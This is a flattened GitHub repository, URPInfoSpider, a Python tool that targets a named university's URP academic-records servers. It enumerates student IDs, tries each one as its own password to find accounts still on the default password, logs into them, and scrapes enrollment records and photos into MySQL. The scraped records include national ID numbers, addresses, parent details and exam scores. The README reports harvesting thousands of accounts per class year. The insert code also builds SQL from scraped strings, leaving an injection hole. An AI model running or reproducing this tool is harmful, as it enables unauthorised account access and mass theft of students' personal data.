├── URPInfoSpider ├── __init__.py ├── headers │ └── headers.py ├── db_init.py ├── settings.py ├── urp_roll_info.py └── db │ └── urp_roll_info.sql ├── .gitignore └── README.md /URPInfoSpider/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | /URPInfoSpider/__pycache__ 3 | -------------------------------------------------------------------------------- /URPInfoSpider/headers/headers.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | """ 3 | @author:James 4 | Created on:18-2-10 16:06 5 | """ 6 | 7 | from URPInfoSpider import settings 8 | 9 | header = { 10 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 11 | 'Accept-Encoding': 'gzip, deflate', 12 | 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 13 | 'Cache-Control': 'max-age=0', 14 | 'Connection': 'Keep-alive', 15 | 'Host': settings.SERVER_HOST, 16 | 'Upgrade-Insecure-Requests': '1', 17 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0' 18 | } 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # URP 教务系统信息收集工具 2 | [![](https://badge.juejin.im/entry/5a80020a6fb9a0635b532804/likes.svg?style=flat-square)](https://juejin.im/post/5a80018df265da4e8a31e80e) 3 | 4 | ## 应用实例 5 | 6 | 作者基于本工具, 对 ** 大学 2014-2017 级本科在校生的信息进行了采集,统计结果如下: 7 | 8 | | 序号 | 学院 | 年级 | 在网账号 | 可爬账号* | 年级占比 | 9 | | :-: | :-: | :-: | :-: | :-: | :-: | 10 | |1 |** |2014 |3157 |1998 |63.29% | 11 | |2 |** |2015 |3328 |2234 |67.13% | 12 | |3 |** |2016 |3641 |3066 |84.21% | 13 | |4 |** |2017 |3497 |3326 |95.11% | 14 | |5 |** |2014 |1759 |303 |17.23% | 15 | |6 |** |2015 |1643 |620 |37.74% | 16 | |7 |** |2016 |1605 |1434 |89.35% | 17 | |8 |** |2017 |1552 |639 |41.17% | 18 | 19 | * 可爬账号:账号的初始密码就是学号,此处指密码未经修改的账号 -------------------------------------------------------------------------------- /URPInfoSpider/db_init.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | """ 3 | @author:James 4 | Created on:18-2-7 16:50 5 | """ 6 | import pymysql 7 | from URPInfoSpider import settings 8 | 9 | TABLE_COLUMNS = [ 10 | 'STUID', 'NAME', 11 | 'NAME_PY', 'NAME_EN', 12 | 'NAME_OLD', 'ICID', 13 | 'GENDER', 'STU_CATEGORY', 14 | 'SPECIAL_CATEGORY', 'SCHOOL_ROLL_STATUS', 15 | 'FEE_CATEGORY', 'NATION', 16 | 'BIRTH_PLACE', 'BIRTH_DATE', 17 | 'POLITICS_STATUS', 'EXAM_REGION', 18 | 'GRADUATE_SCHOOL', 'GK_SCORE', 19 | 'MATRICULATE_ID', 'GK_ID', 20 | 'GK_LANGUAGE', 'CONTACT_ADDRESS', 21 | 'POSTCODE', 'PATRIARCH_INFO', 22 | 'ENROLLMENT_DATE', 'DEPARTMENT', 23 | 'MAJOR', 'MAJOR_DIRECTION', 24 | 'GRADE', 'CLASS', 25 | 'HAS_ROLL', 'HAS_NATIONAL_ROLL', 26 | 'SCHOOL_PART', 'TRANSACTION', 27 | 'FOREIGN_LANGUAGE', 'DORM_ADDRESS', 28 | 'YCSJ', 'TRAIN_LEVEL', 29 | 'TRAIN_PATTERN', 'SHUNT_DIRECTION', 30 | 'LEAVE_SCHOOL', 'COMMENT', 31 | 'COMMENT1', 'COMMENT2', 32 | 'COMMENT3' 33 | ] 34 | 35 | 36 | def connect_db(): 37 | return pymysql.connect( 38 | host=settings.DB_HOST, 39 | port=settings.DB_PORT, 40 | user=settings.DB_USER, 41 | password=settings.DB_PWD, 42 | database=settings.DB_NAME, 43 | charset='utf8' 44 | ) 45 | -------------------------------------------------------------------------------- /URPInfoSpider/settings.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | """ 3 | @author:James 4 | Created on:18-2-8 20:15 5 | """ 6 | # 服务器主机名 7 | # 科大 8 | # SERVER_HOST = 'jw.hebust.edu.cn' 9 | # 科大理工 10 | SERVER_HOST = 'lgjwxt.hebust.edu.cn' 11 | 12 | # 服务器端口号 13 | SERVER_PORT = 80 14 | 15 | # 登录 URL (POST) 16 | URL_LOGIN = '/loginAction.do' 17 | 18 | # 登出 URL (POST) 19 | URL_LOGOUT = '/logout.do?loginType=platformLogin' 20 | 21 | # 学籍信息 URL (GET) 22 | URL_XJXX = '/xjInfoAction.do?oper=xjxx' 23 | 24 | # 学籍照片 URL (GET) 25 | URL_XJZP = '/xjInfoAction.do?oper=img' 26 | 27 | # 年级(2位数字,对应学号的第 1-2 位) 28 | URP_GRADE = 14 29 | 30 | # 分隔符(非理工为'',引号中间无空格,且不可省略) 31 | URP_SEPARATOR = 'L' 32 | # URP_SEPARATOR = '' 33 | 34 | # 学院(理工为学部)(1-2 位数字,对应学号的第 3-4(理工为 4-5)位) 35 | URP_COLLEGE_START = 1 36 | URP_COLLEGE_END = 7 37 | 38 | # 专业 (1 位数字,对应学号的第 5-6(理工为 6-7)位) 39 | URP_MAJOR_START = 51 40 | URP_MAJOR_END = 52 41 | 42 | # 班 (1 位数字,对应学号的第 7(理工为 8)位) 43 | URP_CLASS_START = 0 44 | URP_CLASS_END = 2 45 | 46 | # 学号 (1-2 位数字,对应学号的最后 2 位) 47 | URP_STU_START = 0 48 | URP_STU_END = 99 49 | 50 | # 数据库主机名(数据库必须为 MySQL) 51 | DB_HOST = 'localhost' 52 | 53 | # 端口号 54 | DB_PORT = 3306 55 | 56 | # 数据库名 57 | DB_NAME = 'URP_ROLL_INFO' 58 | 59 | # 用户名 60 | DB_USER = 'root' 61 | 62 | # 密码 63 | DB_PWD = 'root' 64 | 65 | # 表名 66 | DB_TABLE_NAME = 'URP_INFO_HEBUST_17' 67 | 68 | # 照片保存路径 69 | PATH_IMG_SAVE = 'H:/URPRollPhoto_HEBUST_17' 70 | 71 | # 获取学籍信息 72 | MOD_ROLL_INFO = False 73 | 74 | # 获取学籍照片 75 | MOD_ROLL_IMG = False 76 | -------------------------------------------------------------------------------- /URPInfoSpider/urp_roll_info.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | """ 3 | ############################## 4 | # # 5 | # URP 教务系统信息收集工具 # 6 | # # 7 | ############################## 8 | @author:James 9 | Created on:18-2-8 14:25 10 | """ 11 | 12 | import sys 13 | import logging 14 | import gevent 15 | import urllib3 16 | import pathlib 17 | from PIL import Image 18 | from io import BytesIO 19 | from lxml import etree 20 | 21 | from URPInfoSpider import db_init 22 | from URPInfoSpider import settings 23 | from URPInfoSpider.headers import headers 24 | 25 | 26 | # 账号生成器 27 | class InfoAccount(object): 28 | def __init__(self): 29 | # 所有生成的账号 30 | self.accounts = [] 31 | # 年级 32 | grade = settings.URP_GRADE 33 | # 理工 34 | separator = settings.URP_SEPARATOR.strip() 35 | # 学部 36 | college = range(settings.URP_COLLEGE_START, settings.URP_COLLEGE_END + 1) 37 | # 专业 38 | major = range(settings.URP_MAJOR_START, settings.URP_MAJOR_END + 1) 39 | # 班级 40 | clazz = range(settings.URP_CLASS_START, settings.URP_CLASS_END + 1) 41 | # 学号 42 | stu = range(settings.URP_STU_START, settings.URP_STU_END + 1) 43 | 44 | # 生成学号 45 | for c in college: 46 | for m in major: 47 | for cl in clazz: 48 | for s in stu: 49 | stuid = str(grade).zfill(2) + separator + str(c).zfill(2) + str(m).zfill(2) + str(cl).zfill( 50 | 1) + str( 51 | s).zfill(2) 52 | self.accounts.append(stuid) 53 | 54 | 55 | # 账号校验器 56 | class InfoValidate(object): 57 | def __init__(self): 58 | self.logger = InfoMain.logger 59 | self.http = InfoMain.http 60 | # 有效账号 61 | self.account_valid = [] 62 | # 可爬账号 63 | self.account_available = [] 64 | 65 | def validate(self, all_account): 66 | # 将所有校验过程加入队列 67 | jobs = [gevent.spawn(self.validate_account, self.http, a) for a in all_account] 68 | gevent.joinall(jobs, timeout=0) 69 | 70 | def validate_account(self, http, account): 71 | # 登录请求参数 72 | param = {"zjh": account, "mm": account} 73 | header = headers.header 74 | response = http.request('POST', settings.URL_LOGIN, fields=param, headers=header) 75 | self.logger.info('发送请求>>{}'.format(param)) 76 | self.logger.info(response.status) 77 | # 响应体解码 78 | res_text = response.data.decode('GB2312', 'ignore') 79 | 80 | if res_text.find('密码不正确') > -1: 81 | # 密码有误 82 | self.account_valid.append(account) 83 | elif not res_text.find('证件号不存在') > -1: 84 | # 账号可爬 85 | self.account_available.append(account) 86 | self.account_valid.append(account) 87 | self.logger.info("账号可用>>>{}".format(account)) 88 | 89 | 90 | # 信息收集器 91 | class InfoCollect(object): 92 | def __init__(self): 93 | self.logger = InfoMain.logger 94 | self.http = InfoMain.http 95 | # 功能模块 96 | self.mod_get_roll_info = settings.MOD_ROLL_INFO 97 | self.mod_get_roll_img = settings.MOD_ROLL_IMG 98 | 99 | def get_info_queue(self, accounts): 100 | # 将所有信息收集过程加入队列 101 | jobs = [gevent.spawn(self.get_info, a) for a in accounts] 102 | gevent.joinall(jobs, timeout=0) 103 | 104 | def get_info(self, stuid): 105 | # 登录 106 | param = {'zjh': stuid, 'mm': stuid} 107 | response = self.http.request('POST', settings.URL_LOGIN, fields=param) 108 | # 保存 Cookie 109 | cookie = response.headers['Set-Cookie'].replace('; path=/', '') 110 | header = headers.header 111 | header['cookie'] = cookie 112 | # 学籍信息 113 | if self.mod_get_roll_info: 114 | # 带 Cookie 访问学籍信息页 115 | response_xjxx = self.http.request('GET', settings.URL_XJXX, headers=header) 116 | text = response_xjxx.data.decode('GB2312', 'ignore') 117 | # 解析页面内容 118 | selector = etree.HTML(text) 119 | text_arr = selector.xpath('//td[starts-with(@width,"275")]/text()') 120 | # 学籍信息 121 | result = [] 122 | for info in text_arr: 123 | result.append(info.strip()) 124 | self.save_info(result) 125 | # 学籍照片 126 | if self.mod_get_roll_img: 127 | response_xjzp = self.http.request('GET', settings.URL_XJZP, headers=header) 128 | image = Image.open(BytesIO(response_xjzp.data)) 129 | setpath = settings.PATH_IMG_SAVE 130 | path = pathlib.Path(setpath) 131 | if not path.exists(): 132 | path.mkdir() 133 | setpath = setpath + '/' + stuid + '.jpg' 134 | image.save(setpath) 135 | self.logger.info('保存照片>>>{}'.format(setpath)) 136 | 137 | # 登出 138 | self.http.request('POST', settings.URL_LOGOUT, headers=header) 139 | 140 | def save_info(self, info): 141 | # 信息持久化 142 | db = InfoMain.db 143 | sql_str = 'INSERT INTO ' + settings.DB_TABLE_NAME + ' VALUES (NULL ,' 144 | for i in info: 145 | sql_str += "\'" + str(i) + "\'" + ',' 146 | sql_str = sql_str[0:len(sql_str) - 1] 147 | sql_str += ")" 148 | self.logger.info(sql_str) 149 | db.cursor().execute(sql_str) 150 | db.commit() 151 | 152 | 153 | # 主类 154 | class InfoMain(object): 155 | # 日志 156 | logger = logging.getLogger('URPInfo') 157 | # 指定logger输出格式 158 | formatter = logging.Formatter('%(asctime)s %(levelname)-8s: %(message)s') 159 | # 控制台日志 160 | console_handler = logging.StreamHandler(sys.stdout) 161 | console_handler.formatter = formatter 162 | logger.addHandler(console_handler) 163 | # 日志输出级别 164 | logger.setLevel(logging.INFO) 165 | # 数据库连接 166 | db = db_init.connect_db() 167 | # HTTP 连接池 168 | http = urllib3.HTTPConnectionPool( 169 | host=settings.SERVER_HOST, 170 | port=settings.SERVER_PORT, 171 | strict=False, 172 | maxsize=100, 173 | block=False, 174 | retries=100, 175 | timeout=10 176 | ) 177 | 178 | def __init__(self): 179 | # 日志 180 | self.logger = InfoMain.logger 181 | 182 | def autorun(self): 183 | account = InfoAccount() 184 | # 生成的所有账号 185 | all_account = account.accounts 186 | self.logger.info(all_account) 187 | # 校验账号是否可用 188 | validator = InfoValidate() 189 | validator.validate(all_account=all_account) 190 | self.logger.info(validator.account_available) 191 | # 获取学籍信息 192 | collector = InfoCollect() 193 | collector.get_info_queue(validator.account_available) 194 | # 计算 195 | num_sum = len(account.accounts) 196 | num_valid = len(validator.account_valid) 197 | num_available = len(validator.account_available) 198 | num_rate = (num_available / num_valid) * 100 if num_valid > 0 else 0 199 | self.logger.info( 200 | '总共尝试:{} 次,其中有效账号:{} 个,有效账号中用户名和密码一致的账号:{} 个,未修改密码的比例为:{:.2f}%'.format( 201 | num_sum, num_valid, num_available, num_rate)) 202 | 203 | 204 | if __name__ == '__main__': 205 | app = InfoMain() 206 | app.autorun() 207 | -------------------------------------------------------------------------------- /URPInfoSpider/db/urp_roll_info.sql: -------------------------------------------------------------------------------- 1 | /* 2 | Navicat MySQL Data Transfer 3 | 4 | Source Server : 本地 MySQL 5 | Source Server Version : 50714 6 | Source Host : localhost:3306 7 | Source Database : urp_roll_info 8 | 9 | Target Server Type : MYSQL 10 | Target Server Version : 50714 11 | File Encoding : 65001 12 | 13 | Date: 2018-02-09 21:01:53 14 | */ 15 | 16 | SET FOREIGN_KEY_CHECKS=0; 17 | 18 | -- ---------------------------- 19 | -- Table structure for urp_info_hebust_14 20 | -- ---------------------------- 21 | DROP TABLE IF EXISTS `urp_info_hebust_14`; 22 | CREATE TABLE `urp_info_hebust_14` ( 23 | `ID` int(10) NOT NULL AUTO_INCREMENT, 24 | `STUID` varchar(50) NOT NULL, 25 | `NAME` varchar(50) DEFAULT NULL, 26 | `NAME_PY` varchar(50) DEFAULT NULL, 27 | `NAME_EN` varchar(50) DEFAULT NULL, 28 | `NAME_OLD` varchar(50) DEFAULT NULL, 29 | `ICID` varchar(50) DEFAULT NULL, 30 | `GENDER` varchar(50) DEFAULT NULL, 31 | `STU_CATEGORY` varchar(50) DEFAULT NULL, 32 | `SPECIAL_CATEGORY` varchar(50) DEFAULT NULL, 33 | `SCHOOL_ROLL_STATUS` varchar(50) DEFAULT NULL, 34 | `FEE_CATEGORY` varchar(50) DEFAULT NULL, 35 | `NATION` varchar(50) DEFAULT NULL, 36 | `BIRTH_PLACE` varchar(50) DEFAULT NULL, 37 | `BIRTH_DATE` varchar(50) DEFAULT NULL, 38 | `POLITICS_STATUS` varchar(50) DEFAULT NULL, 39 | `EXAM_REGION` varchar(50) DEFAULT NULL, 40 | `GRADUATE_SCHOOL` varchar(50) DEFAULT NULL, 41 | `GK_SCORE` varchar(50) DEFAULT NULL, 42 | `MATRICULATE_ID` varchar(50) DEFAULT NULL, 43 | `GK_ID` varchar(50) DEFAULT NULL, 44 | `GK_LANGUAGE` varchar(50) DEFAULT NULL, 45 | `CONTACT_ADDRESS` varchar(100) DEFAULT NULL, 46 | `POSTCODE` varchar(50) DEFAULT NULL, 47 | `PATRIARCH_INFO` varchar(50) DEFAULT NULL, 48 | `ENROLLMENT_DATE` varchar(50) DEFAULT NULL, 49 | `DEPARTMENT` varchar(50) DEFAULT NULL, 50 | `MAJOR` varchar(50) DEFAULT NULL, 51 | `MAJOR_DIRECTION` varchar(50) DEFAULT NULL, 52 | `GRADE` varchar(50) DEFAULT NULL, 53 | `CLASS` varchar(50) DEFAULT NULL, 54 | `HAS_ROLL` varchar(50) DEFAULT NULL, 55 | `HAS_NATIONAL_ROLL` varchar(50) DEFAULT NULL, 56 | `SCHOOL_PART` varchar(50) DEFAULT NULL, 57 | `TRANSACTION` varchar(50) DEFAULT NULL, 58 | `FOREIGN_LANGUAGE` varchar(50) DEFAULT NULL, 59 | `DORM_ADDRESS` varchar(50) DEFAULT NULL, 60 | `YCSJ` varchar(50) DEFAULT NULL, 61 | `TRAIN_LEVEL` varchar(50) DEFAULT NULL, 62 | `TRAIN_PATTERN` varchar(50) DEFAULT NULL, 63 | `SHUNT_DIRECTION` varchar(50) DEFAULT NULL, 64 | `LEAVE_SCHOOL` varchar(50) DEFAULT NULL, 65 | `COMMENT` varchar(50) DEFAULT NULL, 66 | `COMMENT1` varchar(50) DEFAULT NULL, 67 | `COMMENT2` varchar(50) DEFAULT NULL, 68 | `COMMENT3` varchar(50) DEFAULT NULL, 69 | PRIMARY KEY (`ID`,`STUID`) 70 | ) ENGINE=InnoDB AUTO_INCREMENT=1999 DEFAULT CHARSET=utf8; 71 | 72 | -- ---------------------------- 73 | -- Table structure for urp_info_hebust_15 74 | -- ---------------------------- 75 | DROP TABLE IF EXISTS `urp_info_hebust_15`; 76 | CREATE TABLE `urp_info_hebust_15` ( 77 | `ID` int(10) NOT NULL AUTO_INCREMENT, 78 | `STUID` varchar(50) NOT NULL, 79 | `NAME` varchar(50) DEFAULT NULL, 80 | `NAME_PY` varchar(50) DEFAULT NULL, 81 | `NAME_EN` varchar(50) DEFAULT NULL, 82 | `NAME_OLD` varchar(50) DEFAULT NULL, 83 | `ICID` varchar(50) DEFAULT NULL, 84 | `GENDER` varchar(50) DEFAULT NULL, 85 | `STU_CATEGORY` varchar(50) DEFAULT NULL, 86 | `SPECIAL_CATEGORY` varchar(50) DEFAULT NULL, 87 | `SCHOOL_ROLL_STATUS` varchar(50) DEFAULT NULL, 88 | `FEE_CATEGORY` varchar(50) DEFAULT NULL, 89 | `NATION` varchar(50) DEFAULT NULL, 90 | `BIRTH_PLACE` varchar(50) DEFAULT NULL, 91 | `BIRTH_DATE` varchar(50) DEFAULT NULL, 92 | `POLITICS_STATUS` varchar(50) DEFAULT NULL, 93 | `EXAM_REGION` varchar(50) DEFAULT NULL, 94 | `GRADUATE_SCHOOL` varchar(50) DEFAULT NULL, 95 | `GK_SCORE` varchar(50) DEFAULT NULL, 96 | `MATRICULATE_ID` varchar(50) DEFAULT NULL, 97 | `GK_ID` varchar(50) DEFAULT NULL, 98 | `GK_LANGUAGE` varchar(50) DEFAULT NULL, 99 | `CONTACT_ADDRESS` varchar(100) DEFAULT NULL, 100 | `POSTCODE` varchar(50) DEFAULT NULL, 101 | `PATRIARCH_INFO` varchar(50) DEFAULT NULL, 102 | `ENROLLMENT_DATE` varchar(50) DEFAULT NULL, 103 | `DEPARTMENT` varchar(50) DEFAULT NULL, 104 | `MAJOR` varchar(50) DEFAULT NULL, 105 | `MAJOR_DIRECTION` varchar(50) DEFAULT NULL, 106 | `GRADE` varchar(50) DEFAULT NULL, 107 | `CLASS` varchar(50) DEFAULT NULL, 108 | `HAS_ROLL` varchar(50) DEFAULT NULL, 109 | `HAS_NATIONAL_ROLL` varchar(50) DEFAULT NULL, 110 | `SCHOOL_PART` varchar(50) DEFAULT NULL, 111 | `TRANSACTION` varchar(50) DEFAULT NULL, 112 | `FOREIGN_LANGUAGE` varchar(50) DEFAULT NULL, 113 | `DORM_ADDRESS` varchar(50) DEFAULT NULL, 114 | `YCSJ` varchar(50) DEFAULT NULL, 115 | `TRAIN_LEVEL` varchar(50) DEFAULT NULL, 116 | `TRAIN_PATTERN` varchar(50) DEFAULT NULL, 117 | `SHUNT_DIRECTION` varchar(50) DEFAULT NULL, 118 | `LEAVE_SCHOOL` varchar(50) DEFAULT NULL, 119 | `COMMENT` varchar(50) DEFAULT NULL, 120 | `COMMENT1` varchar(50) DEFAULT NULL, 121 | `COMMENT2` varchar(50) DEFAULT NULL, 122 | `COMMENT3` varchar(50) DEFAULT NULL, 123 | PRIMARY KEY (`ID`,`STUID`) 124 | ) ENGINE=InnoDB AUTO_INCREMENT=2235 DEFAULT CHARSET=utf8; 125 | 126 | -- ---------------------------- 127 | -- Table structure for urp_info_hebust_16 128 | -- ---------------------------- 129 | DROP TABLE IF EXISTS `urp_info_hebust_16`; 130 | CREATE TABLE `urp_info_hebust_16` ( 131 | `ID` int(10) NOT NULL AUTO_INCREMENT, 132 | `STUID` varchar(50) NOT NULL, 133 | `NAME` varchar(50) DEFAULT NULL, 134 | `NAME_PY` varchar(50) DEFAULT NULL, 135 | `NAME_EN` varchar(50) DEFAULT NULL, 136 | `NAME_OLD` varchar(50) DEFAULT NULL, 137 | `ICID` varchar(50) DEFAULT NULL, 138 | `GENDER` varchar(50) DEFAULT NULL, 139 | `STU_CATEGORY` varchar(50) DEFAULT NULL, 140 | `SPECIAL_CATEGORY` varchar(50) DEFAULT NULL, 141 | `SCHOOL_ROLL_STATUS` varchar(50) DEFAULT NULL, 142 | `FEE_CATEGORY` varchar(50) DEFAULT NULL, 143 | `NATION` varchar(50) DEFAULT NULL, 144 | `BIRTH_PLACE` varchar(50) DEFAULT NULL, 145 | `BIRTH_DATE` varchar(50) DEFAULT NULL, 146 | `POLITICS_STATUS` varchar(50) DEFAULT NULL, 147 | `EXAM_REGION` varchar(50) DEFAULT NULL, 148 | `GRADUATE_SCHOOL` varchar(50) DEFAULT NULL, 149 | `GK_SCORE` varchar(50) DEFAULT NULL, 150 | `MATRICULATE_ID` varchar(50) DEFAULT NULL, 151 | `GK_ID` varchar(50) DEFAULT NULL, 152 | `GK_LANGUAGE` varchar(50) DEFAULT NULL, 153 | `CONTACT_ADDRESS` varchar(100) DEFAULT NULL, 154 | `POSTCODE` varchar(50) DEFAULT NULL, 155 | `PATRIARCH_INFO` varchar(50) DEFAULT NULL, 156 | `ENROLLMENT_DATE` varchar(50) DEFAULT NULL, 157 | `DEPARTMENT` varchar(50) DEFAULT NULL, 158 | `MAJOR` varchar(50) DEFAULT NULL, 159 | `MAJOR_DIRECTION` varchar(50) DEFAULT NULL, 160 | `GRADE` varchar(50) DEFAULT NULL, 161 | `CLASS` varchar(50) DEFAULT NULL, 162 | `HAS_ROLL` varchar(50) DEFAULT NULL, 163 | `HAS_NATIONAL_ROLL` varchar(50) DEFAULT NULL, 164 | `SCHOOL_PART` varchar(50) DEFAULT NULL, 165 | `TRANSACTION` varchar(50) DEFAULT NULL, 166 | `FOREIGN_LANGUAGE` varchar(50) DEFAULT NULL, 167 | `DORM_ADDRESS` varchar(50) DEFAULT NULL, 168 | `YCSJ` varchar(50) DEFAULT NULL, 169 | `TRAIN_LEVEL` varchar(50) DEFAULT NULL, 170 | `TRAIN_PATTERN` varchar(50) DEFAULT NULL, 171 | `SHUNT_DIRECTION` varchar(50) DEFAULT NULL, 172 | `LEAVE_SCHOOL` varchar(50) DEFAULT NULL, 173 | `COMMENT` varchar(50) DEFAULT NULL, 174 | `COMMENT1` varchar(50) DEFAULT NULL, 175 | `COMMENT2` varchar(50) DEFAULT NULL, 176 | `COMMENT3` varchar(50) DEFAULT NULL, 177 | PRIMARY KEY (`ID`,`STUID`) 178 | ) ENGINE=InnoDB AUTO_INCREMENT=3067 DEFAULT CHARSET=utf8; 179 | 180 | -- ---------------------------- 181 | -- Table structure for urp_info_hebust_17 182 | -- ---------------------------- 183 | DROP TABLE IF EXISTS `urp_info_hebust_17`; 184 | CREATE TABLE `urp_info_hebust_17` ( 185 | `ID` int(10) NOT NULL AUTO_INCREMENT, 186 | `STUID` varchar(50) NOT NULL, 187 | `NAME` varchar(50) DEFAULT NULL, 188 | `NAME_PY` varchar(50) DEFAULT NULL, 189 | `NAME_EN` varchar(50) DEFAULT NULL, 190 | `NAME_OLD` varchar(50) DEFAULT NULL, 191 | `ICID` varchar(50) DEFAULT NULL, 192 | `GENDER` varchar(50) DEFAULT NULL, 193 | `STU_CATEGORY` varchar(50) DEFAULT NULL, 194 | `SPECIAL_CATEGORY` varchar(50) DEFAULT NULL, 195 | `SCHOOL_ROLL_STATUS` varchar(50) DEFAULT NULL, 196 | `FEE_CATEGORY` varchar(50) DEFAULT NULL, 197 | `NATION` varchar(50) DEFAULT NULL, 198 | `BIRTH_PLACE` varchar(50) DEFAULT NULL, 199 | `BIRTH_DATE` varchar(50) DEFAULT NULL, 200 | `POLITICS_STATUS` varchar(50) DEFAULT NULL, 201 | `EXAM_REGION` varchar(50) DEFAULT NULL, 202 | `GRADUATE_SCHOOL` varchar(50) DEFAULT NULL, 203 | `GK_SCORE` varchar(50) DEFAULT NULL, 204 | `MATRICULATE_ID` varchar(50) DEFAULT NULL, 205 | `GK_ID` varchar(50) DEFAULT NULL, 206 | `GK_LANGUAGE` varchar(50) DEFAULT NULL, 207 | `CONTACT_ADDRESS` varchar(100) DEFAULT NULL, 208 | `POSTCODE` varchar(50) DEFAULT NULL, 209 | `PATRIARCH_INFO` varchar(50) DEFAULT NULL, 210 | `ENROLLMENT_DATE` varchar(50) DEFAULT NULL, 211 | `DEPARTMENT` varchar(50) DEFAULT NULL, 212 | `MAJOR` varchar(50) DEFAULT NULL, 213 | `MAJOR_DIRECTION` varchar(50) DEFAULT NULL, 214 | `GRADE` varchar(50) DEFAULT NULL, 215 | `CLASS` varchar(50) DEFAULT NULL, 216 | `HAS_ROLL` varchar(50) DEFAULT NULL, 217 | `HAS_NATIONAL_ROLL` varchar(50) DEFAULT NULL, 218 | `SCHOOL_PART` varchar(50) DEFAULT NULL, 219 | `TRANSACTION` varchar(50) DEFAULT NULL, 220 | `FOREIGN_LANGUAGE` varchar(50) DEFAULT NULL, 221 | `DORM_ADDRESS` varchar(50) DEFAULT NULL, 222 | `YCSJ` varchar(50) DEFAULT NULL, 223 | `TRAIN_LEVEL` varchar(50) DEFAULT NULL, 224 | `TRAIN_PATTERN` varchar(50) DEFAULT NULL, 225 | `SHUNT_DIRECTION` varchar(50) DEFAULT NULL, 226 | `LEAVE_SCHOOL` varchar(50) DEFAULT NULL, 227 | `COMMENT` varchar(50) DEFAULT NULL, 228 | `COMMENT1` varchar(50) DEFAULT NULL, 229 | `COMMENT2` varchar(50) DEFAULT NULL, 230 | `COMMENT3` varchar(50) DEFAULT NULL, 231 | PRIMARY KEY (`ID`,`STUID`) 232 | ) ENGINE=InnoDB AUTO_INCREMENT=3327 DEFAULT CHARSET=utf8; 233 | 234 | -- ---------------------------- 235 | -- Table structure for urp_info_hebust_lg_14 236 | -- ---------------------------- 237 | DROP TABLE IF EXISTS `urp_info_hebust_lg_14`; 238 | CREATE TABLE `urp_info_hebust_lg_14` ( 239 | `ID` int(10) NOT NULL AUTO_INCREMENT, 240 | `STUID` varchar(50) NOT NULL, 241 | `NAME` varchar(50) DEFAULT NULL, 242 | `NAME_PY` varchar(50) DEFAULT NULL, 243 | `NAME_EN` varchar(50) DEFAULT NULL, 244 | `NAME_OLD` varchar(50) DEFAULT NULL, 245 | `ICID` varchar(50) DEFAULT NULL, 246 | `GENDER` varchar(50) DEFAULT NULL, 247 | `STU_CATEGORY` varchar(50) DEFAULT NULL, 248 | `SPECIAL_CATEGORY` varchar(50) DEFAULT NULL, 249 | `SCHOOL_ROLL_STATUS` varchar(50) DEFAULT NULL, 250 | `FEE_CATEGORY` varchar(50) DEFAULT NULL, 251 | `NATION` varchar(50) DEFAULT NULL, 252 | `BIRTH_PLACE` varchar(50) DEFAULT NULL, 253 | `BIRTH_DATE` varchar(50) DEFAULT NULL, 254 | `POLITICS_STATUS` varchar(50) DEFAULT NULL, 255 | `EXAM_REGION` varchar(50) DEFAULT NULL, 256 | `GRADUATE_SCHOOL` varchar(50) DEFAULT NULL, 257 | `GK_SCORE` varchar(50) DEFAULT NULL, 258 | `MATRICULATE_ID` varchar(50) DEFAULT NULL, 259 | `GK_ID` varchar(50) DEFAULT NULL, 260 | `GK_LANGUAGE` varchar(50) DEFAULT NULL, 261 | `CONTACT_ADDRESS` varchar(100) DEFAULT NULL, 262 | `POSTCODE` varchar(50) DEFAULT NULL, 263 | `PATRIARCH_INFO` varchar(50) DEFAULT NULL, 264 | `ENROLLMENT_DATE` varchar(50) DEFAULT NULL, 265 | `DEPARTMENT` varchar(50) DEFAULT NULL, 266 | `MAJOR` varchar(50) DEFAULT NULL, 267 | `MAJOR_DIRECTION` varchar(50) DEFAULT NULL, 268 | `GRADE` varchar(50) DEFAULT NULL, 269 | `CLASS` varchar(50) DEFAULT NULL, 270 | `HAS_ROLL` varchar(50) DEFAULT NULL, 271 | `HAS_NATIONAL_ROLL` varchar(50) DEFAULT NULL, 272 | `SCHOOL_PART` varchar(50) DEFAULT NULL, 273 | `TRANSACTION` varchar(50) DEFAULT NULL, 274 | `FOREIGN_LANGUAGE` varchar(50) DEFAULT NULL, 275 | `DORM_ADDRESS` varchar(50) DEFAULT NULL, 276 | `YCSJ` varchar(50) DEFAULT NULL, 277 | `TRAIN_LEVEL` varchar(50) DEFAULT NULL, 278 | `TRAIN_PATTERN` varchar(50) DEFAULT NULL, 279 | `SHUNT_DIRECTION` varchar(50) DEFAULT NULL, 280 | `LEAVE_SCHOOL` varchar(50) DEFAULT NULL, 281 | `COMMENT` varchar(50) DEFAULT NULL, 282 | `COMMENT1` varchar(50) DEFAULT NULL, 283 | `COMMENT2` varchar(50) DEFAULT NULL, 284 | `COMMENT3` varchar(50) DEFAULT NULL, 285 | PRIMARY KEY (`ID`,`STUID`) 286 | ) ENGINE=InnoDB AUTO_INCREMENT=304 DEFAULT CHARSET=utf8; 287 | 288 | -- ---------------------------- 289 | -- Table structure for urp_info_hebust_lg_15 290 | -- ---------------------------- 291 | DROP TABLE IF EXISTS `urp_info_hebust_lg_15`; 292 | CREATE TABLE `urp_info_hebust_lg_15` ( 293 | `ID` int(10) NOT NULL AUTO_INCREMENT, 294 | `STUID` varchar(50) NOT NULL, 295 | `NAME` varchar(50) DEFAULT NULL, 296 | `NAME_PY` varchar(50) DEFAULT NULL, 297 | `NAME_EN` varchar(50) DEFAULT NULL, 298 | `NAME_OLD` varchar(50) DEFAULT NULL, 299 | `ICID` varchar(50) DEFAULT NULL, 300 | `GENDER` varchar(50) DEFAULT NULL, 301 | `STU_CATEGORY` varchar(50) DEFAULT NULL, 302 | `SPECIAL_CATEGORY` varchar(50) DEFAULT NULL, 303 | `SCHOOL_ROLL_STATUS` varchar(50) DEFAULT NULL, 304 | 